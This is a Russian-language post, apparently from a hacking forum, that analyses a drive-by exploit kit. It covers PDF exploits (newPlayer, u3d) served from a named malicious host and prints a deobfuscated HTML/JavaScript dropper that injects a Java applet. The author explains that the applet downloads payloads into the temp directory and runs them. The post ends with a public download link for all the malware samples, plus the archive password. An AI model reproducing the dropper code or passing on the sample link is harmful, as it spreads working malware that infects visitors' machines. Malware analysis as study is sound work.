Видим что тут используют сплоит newPlayer() ,(линк -hххp://analiticterra.com/loadpdf.php?ids=AMPLayerPDF)

Ну и последний пдф файл
Код:
pdfdigger.bat -f stupidbureaucrats.pdf
Аналогично:

Тут используеться уязвимость u3d() ну и линк-(hххp://analiticterra.com/loadpdf.php?ids=UdPDF)

Ну и на последок нужно посмотреть на common.jar...
Но для начала посмотрим на расшифрованный раньше файл konec.txt
Код:
<body><script language="javascript">
function JAVA()
{
var code = '<applet code="myf.y.AppletX.class" archive="hххp://analiticterra.com/files/common.jar" width="300" height="300">' + '<param name="data" value="hххp://analiticterra.com/loadjavad.php?page=1">' + '<param name="cc" value="2">' + '</applet>';
var javad = document.createElement("div");
javad.innerHTML = code;
document.body.appendChild(javad);
}
JAVA();
</script></body>
data-указывает откуда будут грузить файлы
сс-указывает на количество файлов,которые будут грузиться...
Откроем с помощью Java Decompiler наш common.jar

Принцип работы этого чуда примерно следующий:
Если data - hххp://analiticterra.com/loadjavad.php?page=1
и сс - 2 ,то с линка в параметре data загружаються в темповую директорию системи(и запускаються) 2 файла, которые получают рандомные названия...
Все файлы можна скачать тут:
http://www.sendspace.com/file/cmgdg8
pass:4_xss.is/
pass:4_xss.is/
ПС Надеюсь тут вы увидели что-то новое и интересное......